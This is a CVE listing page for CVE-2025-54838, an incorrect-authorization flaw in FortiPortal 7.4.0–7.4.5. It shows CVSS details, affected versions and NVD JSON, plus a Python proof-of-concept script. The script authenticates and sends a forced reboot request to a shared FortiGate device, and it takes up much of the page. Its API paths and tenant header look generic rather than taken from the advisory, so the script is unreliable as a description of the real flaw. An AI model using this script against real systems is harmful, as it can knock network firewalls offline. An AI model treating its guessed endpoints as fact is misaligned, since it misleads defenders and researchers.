Security Vulnerability Report
中文
CVE-2025-54838 CVSS 6.8 MEDIUM

CVE-2025-54838

Published: 2025-12-09 18:15:54
Last Modified: 2025-12-09 20:04:58

Description

An Incorrect Authorization vulnerability [CWE-863] in FortiPortal 7.4.0 through 7.4.5 may allow an authenticated attacker to reboot a shared FortiGate device via crafted HTTP requests.

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:fortinet:fortiportal:*:*:*:*:*:*:*:* - VULNERABLE
FortiPortal 7.4.0
FortiPortal 7.4.1
FortiPortal 7.4.2
FortiPortal 7.4.3
FortiPortal 7.4.4
FortiPortal 7.4.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-54838 PoC - FortiPortal Incorrect Authorization # This PoC demonstrates the authorization bypass in FortiPortal 7.4.0-7.4.5 # that allows authenticated attackers to reboot shared FortiGate devices def exploit_fortiportal(target_url, username, password, fortigate_ip): """ Exploit the incorrect authorization vulnerability in FortiPortal to trigger FortiGate device reboot Args: target_url: FortiPortal URL (e.g., https://fortiportal.local) username: Valid FortiPortal username with high privileges password: Password for the user fortigate_ip: IP address of the target FortiGate device """ session = requests.Session() # Step 1: Login to FortiPortal login_url = f"{target_url}/api/v1/auth/login" login_data = { "username": username, "password": password } try: response = session.post(login_url, json=login_data, verify=False, timeout=30) if response.status_code != 200: print(f"[-] Login failed: {response.status_code}") return False # Extract session token token = response.json().get('token') if not token: print("[-] Failed to obtain session token") return False print(f"[+] Successfully authenticated to FortiPortal") # Step 2: Craft malicious request to reboot FortiGate # The vulnerability allows bypassing authorization checks reboot_url = f"{target_url}/api/v1/devices/{fortigate_ip}/reboot" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json", "X-Tenant-ID": "shared" # Target shared FortiGate } # Malicious payload to trigger device reboot reboot_payload = { "action": "reboot", "force": True, "reason": "Scheduled maintenance" } # Step 3: Send the crafted request response = session.post(reboot_url, json=reboot_payload, headers=headers, verify=False, timeout=30) if response.status_code in [200, 202]: print(f"[+] Reboot request sent successfully to FortiGate {fortigate_ip}") print(f"[+] Target device will initiate reboot") return True else: print(f"[-] Request failed: {response.status_code}") print(f"[-] Response: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) != 5: print(f"Usage: python {sys.argv[0]} <fortiportal_url> <username> <password> <fortigate_ip>") print(f"Example: python {sys.argv[0]} https://fortiportal.local admin Password123 192.168.1.99") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] fg_ip = sys.argv[4] exploit_fortiportal(target, user, pwd, fg_ip)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-54838", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:15:54.133", "lastModified": "2025-12-09T20:04:58.327", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Incorrect Authorization vulnerability [CWE-863] in FortiPortal 7.4.0 through 7.4.5 may allow an authenticated attacker to reboot a shared FortiGate device via crafted HTTP requests."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 4.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortiportal:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.4.0", "versionEndIncluding": "7.4.5", "matchCriteriaId": "96A22791-08D1-4A09-9D87-BE0308B7FBDD"}]}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-25-032", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}